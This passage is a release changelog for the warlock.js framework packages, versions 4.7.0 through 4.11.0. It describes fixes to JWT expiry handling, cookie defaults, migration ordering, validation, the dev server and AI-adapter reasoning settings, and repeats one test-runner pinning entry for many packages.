accessToken.expiresIn/refreshToken.expiresInnow throws on token issue instead of producing a token with a wrong or absent expiry. Valid configuration is unaffected —"1h","7d","30 days",NO_EXPIRATION("100y"), the1haccess default when the key is absent, and the7drefresh default all behave exactly as before. An empty string (e.g.env("JWT_TTL")with the variable unset) now throws rather than falling back; give the env read an explicit default. - Changed
authConfig.accessToken.expiresInMs()/authConfig.refreshToken.expiresInMs()are the validated accessors token issuers must use; the rawexpiresIn()accessors are unchanged. - Changed Removed the
as ms.StringValuecasts on both call sites. They were what let arbitrary config text compile againstms's template-literal type and reach the signer asundefined. - Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to - Fixed An
expiresInthemspackage cannot parse no longer mints a credential that never expires.accessToken.expiresIn: "30dayz"(or"thirty days", or any truthy-but-unparseable value) madems()returnundefined, which the signer emitted as a JWT with noexpclaim, alongside a token row whoseexpires_atwasInvalid Date. The old guard tested the raw config string for truthiness, so the1hfallback was unreachable in exactly the case it existed for.refreshToken.expiresInhad no fallback at all. - Fixed
expiresIn: "0d"(and any non-positive duration) is rejected too. It is truthy and parses cleanly to0, so it survived any guard that only rejectsundefined— andfast-jwtskips its own validation for0, emitting a token with noexpclaim while the persisted row claims it expired immediately. - Fixed A bare number (
expiresIn: 2592000) is now rejected instead of silently corrupting the expiry.ms_formats_ numbers rather than parsing them (2592000⇒"43m"), which then poisonedDate.now() + expiresInintoInvalid Date. Write"30d". - Security A token with no
expclaim is now rejected instead of being accepted forever.fast-jwthas no deadline to check on such a token, so verification simply succeeds — measured againstfast-jwt@6.2.4, a token with noexpverifies unchanged atclockTimestamp+ 100 years. Bothjwt.verifyandjwt.verifyRefreshTokennow require anexpclaim. - Security The persisted
expires_atis now enforced on every request.authMiddlewarepreviously checked only that the access-token row _existed_; a row whose own expiry had passed still opened the gate, because nothing ever asked. The row is now checked against the clock and deleted on rejection.
- Added
listPendingMigrations()— the registered migrations that have not executed, in the order they will execute, mirroringlistExecutedMigrations(). The set was already computed inside the runner on every migrate run;getPendingMigrations()wasprivateand had no read-only exit, so nothing outside could ask "what will run next?" without running it - Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to - Changed Adds a
testscript. The package shipped atests/directory with no way to run it, so the suite was reachable only by knowing to typenpx vitest— which resolves whatever happens to exist in the tree rather than anything the manifest asked for
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- Changed Declares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
4.11.0 August 10, 2026
@warlock.js/core fixes four cases where the framework reported success it had not verified: a production bundle that imported a package your app never declared and so could not boot under pnpm, env() returning its default inside warlock.config.ts, warlock start printing its started banner before the app had booted, and a storage connector that could not start an app shipping no src/config/storage.ts. Also raises @mongez/dotenv to ^1.3.1.
- Added
startHttpTestServer({ port })— run an integration suite on an explicit port, honoured overHTTP_PORTin.env, which the internal bootstrap re-reads and no caller could previously override - Added the test server preflights its port and fails with "stop the dev server" naming the port, instead of a raw
EADDRINUSEfrom inside Fastify - Added
Application.setServedPort()and aportfield on the readiness signal, so a supervisor learns the bound http port from the app rather than re-deriving it from config it may not be able to read - Added
setConfig(name, value)— the write side of the config store, exported separately from the read-onlyconfigaccessor so registering configuration stays a deliberate boot-time act - Changed
@mongez/dotenvis now required at^1.3.1(was^1.2.4). Under the old range a fresh install resolved to 1.3.x while an existing lockfile could stay on 1.2.x, so we could not say which behaviour a given consumer actually had. 1.3.x only changes cases that were previously wrong:env()now consultsprocess.envinstead of returning a default for a key the environment defines,${VAR}interpolation throws naming the key instead of baking the string"undefined"into a value, and numeric coercion no longer corrupts values like0123456789or IDs beyond 2^53. Precedence between.envfiles and injected variables is unchanged - Fixed A production bundle no longer imports a package your app does not declare.
warlock build's generated config loader emittedimport config from "@mongez/config"— one of _core's_ dependencies, never the app's. npm and yarn hoist flat so it resolved by accident; under pnpm's strict layout the shipped bundle died at boot withERR_MODULE_NOT_FOUNDfor a package the app had no reason to install. The generator now emitssetConfigfrom@warlock.js/core, which the app does declare, and Node resolves@mongez/configfrom core's own install — correct under pnpm, and portable, unlike baking absolute paths into an artifact meant to be copied between machines - Fixed
env()insidewarlock.config.tsno longer always returns its default. The config module was evaluated _before_ any.envfile was read, so a project following the documentedbuild: { outdir: env("BUILD_OUT", "dist") }recipe silently gotdistno matter what the environment said — under every command,devincluded, and underbuildandstartenv was never loaded at all. Env files are now loaded beforewarlock.config.tsis evaluated, for every command - Fixed An application without
src/config/storage.tscan boot again. The storage connector starts unconditionally, on the documented grounds thatstorage.init()falls back to a built-inlocaldriver so file storage works out of the box. That fallback was never implemented:init()resolved the default driver _name_ and then found nothing registered under it, so any app without a storage config died at boot withStorage driver "local" is not configured. A built-inlocaldriver rooted atuploadsPath()is now registered before configured drivers — so an app defining its ownlocalstill overrides it, and naming a driver that genuinely does not exist still fails loudly - Fixed
startHttpTestServerno longer breaks a suite that configureshttp.port: 0.0is the OS's "pick a free port for me" idiom, but the guard only checkedtypeof port !== "number", so0fell through: the preflight bound an unrelated ephemeral port and passed without proving anything, and0was then published as the bound port, pointing every request in the suite athttp://host:0. An explicit0now takes the same path as no configured port — no preflight, nothing published, Fastify picks the port - Fixed
warlock startno longer claims success before the app has booted. The startup banner printed inpreAction— before the child process was even spawned — and the failure that followed went only to stderr. Any CI gate or process supervisor that watches stdout for the banner read a 🔴 boot failure as a healthy start, which is how a production app that never booted was recorded as running. The banner now prints only when the application reports a completed boot, and a child that dies before reporting is a failed start: the message goes to both stdout and stderr, and the exit code is forced non-zero even when the process itself exited0 - Deprecated the
envpreloader flag on a CLI command is no longer read — env is loaded for every command that declares a preload block. Setting it is harmless and does nothing; remove it. Dropped at 5.0
4.10.0 August 9, 2026
@warlock.js/core makes response.cookie secure by default — httpOnly, sameSite: "lax", and secure outside development are applied unless you override them. Nothing set them before, so a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer passed three flags on every call; nothing failed when they were missing. @warlock.js/auth documents two things that were previously only findable by reading source: that authMiddleware gates on flat user-type matching and points at @warlock.js/access for permission matrices and who-may-act-on-whom policies, and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work.
- Changed
response.cookieis now secure by default —httpOnly: true,sameSite: "lax", andsecure: trueoutside development are applied unless overridden. Previously nothing set them: a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer knew to pass three flags on every call. Nothing failed when they were missing, so the app worked and was simply insecure. Precedence is framework defaults →http.cookies.options→ the per-call argument, so opting out stays possible and explicit.secureis relaxed only in development, because browsers drop aSecurecookie over plain http
- Changed
protect-routesdocuments two things that were previously only discoverable by reading source: thatauthMiddlewaregates on user type by flat string match and cannot express a permission matrix, role hierarchy, or who-may-act-on-whom — with a worked pointer to@warlock.js/access(gate,can,definePolicy) for exactly that; and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work rather than an omission
4.9.2 August 9, 2026
@warlock.js/cascade fixes migrate:rollback running down() migrations in *apply* order — the rollback list was reversed and then re-sorted ascending, putting it straight back, so any batch with more than one migration could drop a table before dropping the column added to it. @warlock.js/seal fixes v.literal(""), which could never pass because every validator is required by default and "" counts as empty — while .optional() looked like a workaround but silently disabled the literal check entirely; seal also stops returning the rejected input as data on a failed validation, closing a leak where an outbound DTO's internal fields reached callers who didn't branch on isValid, and fixes v.number().toFixed(n), which returned a string its own number rule then rejected. @warlock.js/core stops the generated dev-server loader hook shipping bare esbuild / get-tsconfig imports into your project, which broke warlock dev on pnpm's strict layout.
- Fixed
migrate:rollbackandmigrate:rollback --allrandown()migrations in apply order instead of reverse.getMigrationsToRollbackreversed the executed list and then re-sorted it ascending, which put it straight back into forward order and made the reverse dead code — so a rollback would drop a table before dropping the column added to it, failing withrelation "…" does not exist. Any batch containing more than one migration was affected; single-migration batches hid it because one item has no order to get wrong - Fixed migration ordering now lives in
migration-order.tswith an explicitsortMigrationsForRollback. The descending sort is required, not cosmetic: the executed list is read back ordered bybatch, name, so it is alphabetical rather than chronological and simply _not_ re-sorting after the reverse would have produced reverse-alphabetical order — a different wrong answer
- Fixed
v.literal("")could never pass. Every validator is required by default andrequiredrejects anything the empty-value check calls empty — which includes""— so a schema demanding an exact empty string reported "is required" for a field that was present. A literal set containing an empty value now usespresent(the key must exist) instead ofrequired, leaving the literal set to judge the value. Only the empty string was affected;v.literal(0)andv.literal(false)always worked - Fixed
v.literal("").optional()silently disabled the literal check rather than fixing it, accepting"",nulland a missing key alike. The literal rule now runs on empty values (requiresValue: false) while treating absence as the required/present rule's question, so.optional()means optional again and a present value must still match - Fixed a failed validation no longer returns the input it rejected.
objectreturned the raw input — including the unknown keys it had just complained about — whilediscriminatedUnionreturnedundefined; the same call shape had two contracts. Validating an outbound DTO to keep internal fields out of a response, then readingdatawithout branching onisValid, shipped every field the schema existed to exclude.datais nowundefinedwheneverisValidisfalse - Fixed
v.number().toFixed(n)could never produce a valid result — the mutator returnedNumber(value).toFixed(n), a _string_, which the validator's ownnumbertype rule then rejected. It now yields a number (3.14159→3.14), so the method works where it lives. No working code can have depended on the old output, since every such validation failed; for a fixed-point _string_, format at the presentation edge rather than asking a number schema to emit one
- Fixed the dev server's generated
.warlock/loader-hook.mjsno longer ships bareesbuild/get-tsconfigimports. That file is written into the consuming app's directory, so a bare specifier resolves from the app — but both packages are core's own dependencies. npm and yarn hoist flat so it worked by accident; under pnpm's strict layout the dev server died withERR_MODULE_NOT_FOUNDfor a package the app never imported. Each npm specifier is now rewritten at generation time to an absolute path resolved from core's own install, so no consumer has to declare a phantom dependency
4.9.1 August 6, 2026
@warlock.js/cascade fixes a silent data-loss bug in .save({ merge }): a Date written over a column that already held a Date was discarded — the dirty tracker treated any typeof "object" value as mergeable and recursed into the Date, which has no own enumerable properties, so nothing was copied and the column never went dirty. save() returned { success: true, modifiedCount: 0 } and issued no UPDATE. Only plain objects deep-merge now; Date, Map, Set and every other class instance replace.
- Fixed
save({ merge })silently dropped aDatewritten over a column that already held aDate— the dirty tracker's merge treated anythingtypeof "object"as mergeable and recursed into theDate, which has no own enumerable properties, so nothing was copied and the old value survived. The column never went dirty andsave()returned{ success: true, modifiedCount: 0 }without issuing anUPDATE. Only plain objects deep-merge now;Date,Map,Set,RegExpand every other class instance replace, matching whatmodel.dataalready did. Writing into an empty column always worked, so only overwrites were affected
4.9.0 August 6, 2026
@warlock.js/core's dev server now runs supervised — a thin parent respawns the server instead of stacking a process per restart — and restarts itself when warlock.config.ts or .env changes, with keyboard shortcuts (r restart, c clear, q quit, h help, u update-and-restart), crash recovery, Bun lockfile support in update / add, new update --dry-run / --check flags, and an honest offline update check that no longer reports "already up to date" when npm was never reached. @warlock.js/cascade fixes migrations running in filename order instead of chronological order on a fresh database — the sort parsed timestamps with new Date(), which cannot read the framework's own MM-DD-YYYY_HH-MM-SS stamp, so every one collapsed to the alphabetical tiebreaker. The release also fixes build.outDirectory — the name the docs used for several releases while only build.outdir was ever read, so a config written from the documentation was silently ignored. @warlock.js/ai workflow run steps now correctly nest a directly-invoked agent (workflow → agent → tool) instead of producing two disconnected top-level traces, and @warlock.js/ai-openai now defaults reasoning_effort to "none" automatically whenever a reasoning-capable model is called with tools, closing the gap that left tool calls broken on gpt-5 / o-series models unless every call site opted in by hand.
- Added
warlock devkeyboard shortcuts —rrestart,cclear,qquit,hhelp — armed once the server is ready and listed byh. TTY-gated, andCtrl+Ckeeps working while raw mode is held - Added press
uon thewarlock devupdate notice to update every@warlock.js/*dependency, install, and restart the server in place — no Ctrl+C round-trip. Falls back to the printednpx warlock updatecommand when the terminal can't deliver keypresses (CI, piped stdin, supervisors) - Added
warlock devnow runs as a supervised pair — a thin parent that owns the terminal and a disposable worker — so restarting replaces the worker instead of stacking a process per restart, and the supervisor never loads config or connectors - Added
warlock devrestarts automatically whenwarlock.config.tsor any.env*changes, since neither can be hot-reloaded; opt out withdevServer.restartOnConfigChange: falsefor the previous warning - Added Bun support in
warlock updateandwarlock add—bun.lock/bun.lockbare detected and drivebun install/bun add - Added
warlock devrecovers from a crash: a worker that dies after running healthily for 5s is replaced automatically, while one that dies during boot is left alone so its error isn't buried under a reprint. Capped at 3 crashes per minute - Added
warlock update --dry-runreports what would change without touching anything, and--checkdoes the same but exits1when a package is behind — a CI gate for staying current - Changed the dev-server update check remembers npm's answer for 24h in
.warlock/update-check.json, so a day of restarts costs one lookup instead of one per boot; failed lookups are never cached, and the entry is dropped once an update is applied - Fixed
warlock startspawnsprocess.execPathinstead of a barenode, which failed withENOENTwherevernodeis not onPATH(systemd units, cron, slim containers) and could otherwise pick a different Node version than the one running the CLI - Fixed
warlock addno longer carries its own package-manager detection that silently produced an undefined install command when the project had no recognised lockfile — it shares the updater's detection - Fixed
build.outDirectory— the name the docs have used for several releases — is now actually read. Onlybuild.outdirever was, so a config written from the documentation was silently ignored and the bundle still went todist/. Both names now work (outdirwins if you set both) and the docs lead withoutdir - Fixed
warlock updateno longer reports "All @warlock.js packages are already up to date" when it never reached the npm registry — an offline run now says so and changes nothing - Fixed a failed package-manager install during
warlock updateno longer loses the rewrittenpackage.json; the CLI still exits non-zero - Fixed the dev server's update check now uses a 5s abort budget instead of 30s, so a hanging network can't leave a pending request behind a running server
- Fixed migrations ran in filename order instead of chronological order on any fresh database.
SQLGrammar.sort— the comparator that decides execution order across every pending migration — parsedcreatedAtwithnew Date(), which cannot read theMM-DD-YYYY_HH-MM-SSstamp the framework's own generator produces; every timestamp becameNaN, was floored to0, and the alphabetical tiebreaker silently decided the whole ordering. A January 2026 migration would run before a December 2025 one - Fixed
parseCreatedAtnow lives in its own module and backs both migration comparators through a sharedcompareCreatedAt, so the two can no longer drift apart — one of them being wrong was the symptom, two comparators sorting the same data by different rules was the defect
- Added
StepSnapshot.children— reports a workflowrunstep captured from any executable its callback invoked DIRECTLY (agent.execute(...)rather than the declarativeagent:field), via the same ambientRunFramea supervisor/team/orchestrator callback already gets.report.childrennow includes these alongsidestep.agentreports. - Fixed A workflow
runstep that callsagent.execute()directly no longer produces two disconnected top-level traces (one "agent", one "workflow") with the agent missing fromreport.children— it now nests correctly (workflow → agent → tool, usage/cost rolled up) and no longer also self-routes as a separate observed trace. Declarativestep.agentwas already correct; this closes the gap for ad-hoc calls insiderun(self-documented inworkflow/engine.tsas a known limitation).
- Fixed
reasoning_effortnow defaults to"none"automatically on a reasoning-capable model called WITHtoolsand no explicitreasoning.effort— previously this required every call site to opt in (added in 4.8.0), so any agent/model config that didn't know to pass it kept hitting rejected tool calls (empty replies, or a hard 400 on newer model generations —"Function tools with reasoning_effort are not supported ... in /v1/chat/completions"). An explicitreasoning.effortstill overrides the default in either direction; calls with notoolsare unaffected.
4.8.2 July 22, 2026
@warlock.js/ai-panoptic's dashboard gains an "Evaluate system prompt" drawer action — its first write-capable route — plus a round of dashboard reliability fixes (auth-token forwarding, a silent cache-store failure hook) and a @warlock.js/ai peer-dependency / redact() hardening pass.
- Added
DashboardOptions.evaluate— an "Evaluate system prompt" drawer action that grades a trace's last captured system prompt via an LLM judge, editable per-run instructions included; the dashboard's first and only write-capable route (POST .../spans/:spanId/evaluate), off unless configured and gated by the sameauthToken/allowedHostschecks as every other route - Added
evaluateSystemPrompt/extractLastSystemPrompt/findSpanById— the building blocks behind the drawer action, exported for scripting a grade outside the UI - Fixed The dashboard's client-side poll (
GET {basePath}api/aggregate/api/traces) now carries the page's?token=as anAuthorization: Bearerheader on every request — previously, onceauthTokenwas configured the initial page load succeeded (the browser's navigation request carries the query string) but every subsequent 2s poll had no auth attached and 401'd forever, leaving the dashboard stuck on an empty/error state despite loading successfully - Fixed
PanopticConfig.cachefailures (hydrate-on-startup or write-through — bad URL, unreachable Redis, auth failure) are no longer swallowed into total silence: a newPanopticConfig.onErrorhook fires on every failure, defaulting tolog.error("ai-panoptic", "cacheStore", error)when not supplied, so a misconfigured cache driver now surfaces in logs instead of leaving the dashboard permanently empty with zero diagnostic
- Added
judgePromptBody/formatCriteria/JudgeOutcome— the LLM-as-judge building blocksai.prompts().validate()already used internally are now public, so other packages (@warlock.js/ai-panoptic's trace-level system-prompt evaluation) can grade arbitrary prompt text against a model + rubric without a second judging implementation - Fixed
redact()no longer collapses a rawError(or anErrornested in acausechain) to{}—name/message/stackaren't own-enumerable onErrorinstances, so the previousObject.entries()walk saw none of them. This was silently dropping tool/agent errorcausedetail whereverredact()runs it, including@warlock.js/ai-panoptic's tracecausefield (a failed tool'sToolExecutionError.causeshowed as an empty object in the dashboard instead of the underlying thrown error) - Fixed
@warlock.js/ai-openaiandpdf-parsedeclared as optionalpeerDependencies— both are lazilyimport()ed (the skills-catalog embedder probe;ai.rag.loadPdf) but weren't listed in eitherdependenciesorpeerDependencies, so pkgist's bundler vendored their source directly intoai's own build instead of leaving them external (the same split-brain class of bug ascore's missing@warlock.js/aipeerDependency, fixed in 4.8.1). For@warlock.js/ai-openaispecifically this meant the skills-catalog embedder-installed probe always resolved against the vendored copy bundled intoai, so it reported an embedder provider as "installed" even when the app never installed@warlock.js/ai-openaiitself
4.8.1 July 21, 2026
Fixes a split-brain bug where @warlock.js/core's bundler vendored its own disconnected copy of @warlock.js/ai (and the same gap for @warlock.js/access / @warlock.js/notifications) because they weren't declared as peer dependencies — the vendored copy's config never reached listeners (e.g. ai-panoptic's dashboard) registered against the real installed package. Also logs previously-swallowed onConfigApplied listener errors in @warlock.js/ai.
- Fixed
@warlock.js/ai,@warlock.js/access, and@warlock.js/notificationsdeclared as optionalpeerDependencies(matching the existing@warlock.js/heraldpattern) so pkgist's bundler leaves them external instead of vendoring their source into core's own build — a vendored@warlock.js/aicopy was a disconnected module instance whose config listeners (e.g.ai-panoptic's dashboard wiring) never receivedai.config(...)calls routed through the real, separately-installed package
- Fixed
setAIConfig'sonConfigAppliedlistener notification no longer swallows a misbehaving listener's exception silently — it's now logged vialog.error("ai", "configListener", error)
4.8.0 July 19, 2026
A new reasoning: { effort: "none" } level in @warlock.js/ai runs a reasoning model without reasoning, explicitly — @warlock.js/ai-openai emits reasoning_effort: "none" so OpenAI gpt-5 / o-series models accept function tools instead of returning empty replies, and the budget-based adapters (@warlock.js/ai-anthropic, @warlock.js/ai-google, @warlock.js/ai-ollama) map it to reasoning-off.
- Added
reasoning: { effort: "none" }now emitsreasoning_effort: "none"on the wire — unblocks function tools on gpt-5 / o-series reasoning models, which otherwise reject tools on Chat Completions while reasoning is active and return empty replies.
- Added
reasoning: { effort: "none" }— a neutral "run without reasoning, explicitly" level onReasoningEffort; OpenAI emitsreasoning_effort: "none"so gpt-5 / o-series accept function tools, and budget-based adapters (Anthropic / Bedrock / Google / Ollama) disable thinking.
- Changed
reasoning: { effort: "none" }disables extended thinking (emits nothinkingblock) — the neutral "run without reasoning" level, consistent across adapters.
- Changed
reasoning: { effort: "none" }maps tothinkingBudget: 0— Gemini's native reasoning-off switch, the neutral "run without reasoning" level.
- Changed
reasoning: { effort: "none" }maps tothink: false— the neutral "run without reasoning" level, consistent across adapters.
4.7.0 July 6, 2026
@warlock.js/ai gains the prompt compiler — systemPrompt().refined({ model, criteria, store }) lazily rewrites human-authored prompt text into a model-optimized version, pinned like a lockfile with machine-enforced placeholder parity and an always-safe fallback to the original — plus ai.prompts.validate({ criteria }) to grade a prompt against your own rules. @warlock.js/fs gains an ergonomic async fs facade — fs.files.* / fs.dirs.* grouping, lazy File / Directory handles, read-modify-write helpers (edit / editJson / mergeJson), recursive walk, and zero-dependency schema-validated JSON. @warlock.js/cascade lands a driver-correctness pass — a dozen real Postgres/MongoDB driver fixes (multi-row findAndUpdate, where-scoped update / unset / deleteOne, pivot detach, MongoDB with() eager-loading, per-subclass global scopes) plus new lockForUpdate({ skipLocked }) row locking (FOR UPDATE SKIP LOCKED).
- Added
systemPrompt().refined({ model, criteria, store })— the prompt compiler. Humans keep writing human prompt text; the refined wrapper lazily rewrites it into a model-optimized version on first agent use and pins the result like a lockfile (re-compiled only when the source text, refiner model,criteria, or recipe version change — never silently).await refined.refine()returns the compiled template string (placeholders intact — routes / previews / warmup / CI; throwsPromptRefinementErroron failure) andawait refined.refinePrompt()returns a composable prompt withmeta.refinedFrom/meta.refinerModelprovenance (register it todifforiginal vs refined). Placeholder parity is machine-enforced (one repair re-ask, then rejected); the lazy agent path never throws — it warns once and serves the original. - Added
ai.prompts.validate({ criteria })— validate a prompt against your own rules. Passcriteria(a string or a list of short rules) and, when ajudgemodel is supplied, it replaces the built-in quality rubric so the judge'sscore/issuesreflect your criteria (a failed rule is named inissues). Advisory only — never flips the deterministicok; folded into thejudgeCachekey so different rules re-run.
- Added
fsshorthand facade — an async, ergonomic surface over the primitives:fs.files.*(file ops),fs.dirs.*(directory ops), lazyfs.file(path)/fs.dir(path)handles (File/Directoryclasses), andfs.exists(path)(type-agnostic). Delegates to the existing*Asyncprimitives; synchronous callers keep using the bare primitives (thebare = sync/*Async = asynccharter is unchanged) - Added New file ops on the facade:
append/prepend/appendLine/appendJsonLine(NDJSON),size,isEmpty,ensure(create-if-missing, never truncates),touch,edit(read → transform → write),editJson,mergeJson(shallow, or{ deep: true }),ensureJson(get-or-create),checksumMatches,readLines(streaming async iterator), and an EXDEV-safemove(creates the destination parent, falls back to copy+unlink across devices) - Added New directory ops on the facade:
empty(emptyDir),size(recursive byte sum),count,isEmpty,walk(constant-memory async iterator of{ path, name, type }), arecursiveoption onlist/listFiles/listDirs, andhash(stable directory fingerprint) - Added
fs.files.getJson(path, { schema })— validate parsed JSON against any Standard Schema validator (seal / zod / valibot) with zero dependency (calls the schema's own~standard.validate); throwsJsonSchemaValidationErroron failure.{ default }returns a fallback when the file is missing - Added
File/Directoryhandles are lazy (no IO in the constructor) and immutable (copy/move/rename/copyTo/moveToreturn a NEW handle); pure-path helpersname/basename/extension/parent()and childfile(...)/dir(...);Directory.listFiles()/listDirs()returnFile[]/Directory[] - Added
fs.hashnamespace —fs.hash.string/fs.hash.buffer(sync, pure/in-memory) andfs.hash.file/fs.hash.dir(async, read from disk) - Added
fs.files.get()is overloaded: a text read returnsstring(no cast); pass{ encoding: null }for aBuffer
- Added
lockForUpdate({ skipLocked?, noWait? })— row locking on SELECT (FOR UPDATE [SKIP LOCKED | NOWAIT]), the concurrent job-queue claim shape; Postgres-only, the MongoDB driver throws - Added
DatabaseDriverContract.supportsSqlSerialization— capability flag (defaulttrue);falseroutes the MigrationRunner through direct migration-driver execution - Fixed Postgres model-level
sum/avg/min/max/distinct/countDistinct/pluck/valueno longer return0/undefined— the hydration callback is reset before reading, matching MongoDB - Fixed Postgres
Model.findAndUpdate/Model.atomicnow update every matching row instead of one arbitrary row (a hiddenLIMIT 1; MongoDB was already multi-row) - Fixed Postgres query-builder
update()/unset()now honor the chainedwherefilter — previously they updated the whole table - Fixed Postgres query-builder
deleteOne()deletes exactly one row — the internallimit(1)was silently ignored, deleting every matching row - Fixed Postgres pivot
detach(ids)(andsync/toggle) works — the driver translates Mongo-style filter operators ($in,$nin,$eq,$ne,$gt,$gte,$lt,$lte) instead of binding the operator object literally - Fixed CHECK constraints are no longer silently dropped on the MigrationRunner SQL path — the Postgres serializer emits
ADD CONSTRAINT ... CHECKforthis.check(...)and column.check(...) - Fixed MongoDB
with()eager loading is no longer a silent no-op —get()runs the relation loader, same wiring as Postgres - Fixed MongoDB pipelines order
